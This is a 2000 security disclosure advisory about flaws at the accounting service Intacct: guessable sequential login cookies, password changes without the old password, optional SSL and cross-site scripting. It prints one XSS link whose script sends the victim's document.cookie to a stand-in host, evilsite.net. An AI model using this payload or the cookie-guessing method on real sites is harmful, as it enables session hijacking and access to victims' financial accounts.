Intacct.com: Multiple bugs at financial services company

["Jeffrey W. Baker" <jwbaker () ACM ORG>]

Security Advisory: Multiple Exploitable Vulnerabilities at Intacct.com

*Date

26 August 2000

*Copyright statement

This security advisory is Copyright 2000 by Jeffrey William Baker
(jwbaker () acm org).  The advisory may be distributed in whole or in part
without modification.

*Background

These vulnerabilities were discovered while I was investigating the
security of online accounting firms such as Intacct [1].  I have found
many systematic, exploitable vulnerabilities at Intacct.  I have not
received any response to emails I have sent to Intacct.  The security
problems with the Intacct service are so great, and Intacct has been so
lax in responding to them, that I am compelled to offer this security
advisory as a service to Intacct customers.

*Synopsis

Intacct is an online accounting service.  Their website allows a user to
perform business accounting functions.  Intacct makes very bold claims
regarding their security.  In their security marketing materials [2], they
claim to have "world-class security you expect from a top-tier financial
services provider."

The Intacct marketing department apparently forgot to synchronize with the
engineering department, because the Intacct service, which is currently in
production with paying customers, allows an attacker to:

1) Log in as the victim in perpetuity
2) View and modify victims' accounts, budgets, etc.
3) Change victims' passwords
4) Deny service to victims by modifying Intacct billing information

No action is required on the part of the victim for these attacks to
succeed.

*Details

Intacct suffers from three problems: they are vulnerable to the attack
defined in CERT CA-2000-02 [3], they do not use encryption everywhere, and
their login and session management systems are the worst I have ever seen.

The other vulnerabilities are hardly even relevant, because it is trivial
to compute the login cookie for any Intacct user.  When an Intacct user
logs in, they are sent two cookies with the names ".sign" and ".userid".
These cookies always have the same value for a given user.  It is possible
to guess the cookie for any Intacct user because the .userid cookie is
issued sequentially, and the .sign cookie is always one of three values
[4].  The attacker will require a maximum of three attempts before gaining
access to any Intacct account.

Once the attacker has gained access, the situation is aggravated by the
ability to change a victim's password without knowing the current
password.  Standard security procedure dictates that you should always ask
for the existing password before allowing the password to be changed.

Another vulnerability is due to the fact that Intacct accepts traffic to
their application over clear channels.  They do not enforce the use of
SSL.  A user can replace https with http in any Intacct URL and still use
the system normally.  Intacct should require their customers to always use
SSL, lest they be tricked into sending their password in the clear.

The cross-site scripting vulnerability is very simple.  Any logged-on
Intacct user can be made to reveal their login cookie, simply by visiting
a link like this:

https://www.intacct.com/ia/edit_budget.phtml?.done=budgets.phtml&.account_fld=<script>location.replace(%27http://www.evilsite.net/%3F%27%2Bescape(document.cookie))</script>

The site "www.evilsite.net" will then have possession of their login
cookie.

*Conclusion

Do not use Intacct's services.

*Footnotes

1: http://www.intacct.com
2: http://www.intacct.com/services/security/
3: http://www.cert.org/advisories/CA-2000-02.html
4: I will not reveal them, but the three values will be immediately
obvious to anyone who investigates Intacct.